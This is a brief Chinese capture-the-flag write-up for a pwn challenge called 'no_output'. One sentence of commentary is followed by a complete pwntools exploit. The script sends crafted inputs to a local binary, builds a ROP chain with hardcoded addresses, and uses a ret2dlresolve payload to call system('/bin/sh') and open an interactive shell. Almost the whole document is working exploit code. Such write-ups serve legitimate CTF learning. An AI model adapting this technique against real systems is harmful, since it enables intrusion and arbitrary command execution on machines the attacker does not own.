no_output

可以说简单，也可以说难的题目。会用ret2dlresolve就简单，不知道就难。

exp:

from pwn import *
import time
context.log_level = 'debug'
#p=remote("39.105.138.97","1234")
s=process('./test')

s.send("\x00")
raw_input(">")
#gdb.attach(s) 
s.send('A'*0x20)
raw_input(">")
py="hello_boy\0"
s.send(py)
raw_input(">") 
s.sendline("-2147483648")
raw_input(">") 
s.sendline("-1")
raw_input(">")

rop = ROP("./test")
elf = ELF("./test")

dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])

rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()

print(rop.dump())

print(hex(dlresolve.data_addr))
payload ='A'*76+p32(0x80490C0)+p32(0x8049582)+p32(0)+p32(0x804de00)+p32(0x8049030)+p32(0x05a04)+p32(0)+p32(0x804de20)+"/bin/sh\x00"
s.sendline(payload)
raw_input(">")

payload= dlresolve.payload
s.sendline(payload) 
s.interactive()

 

 

 pwntools yyds。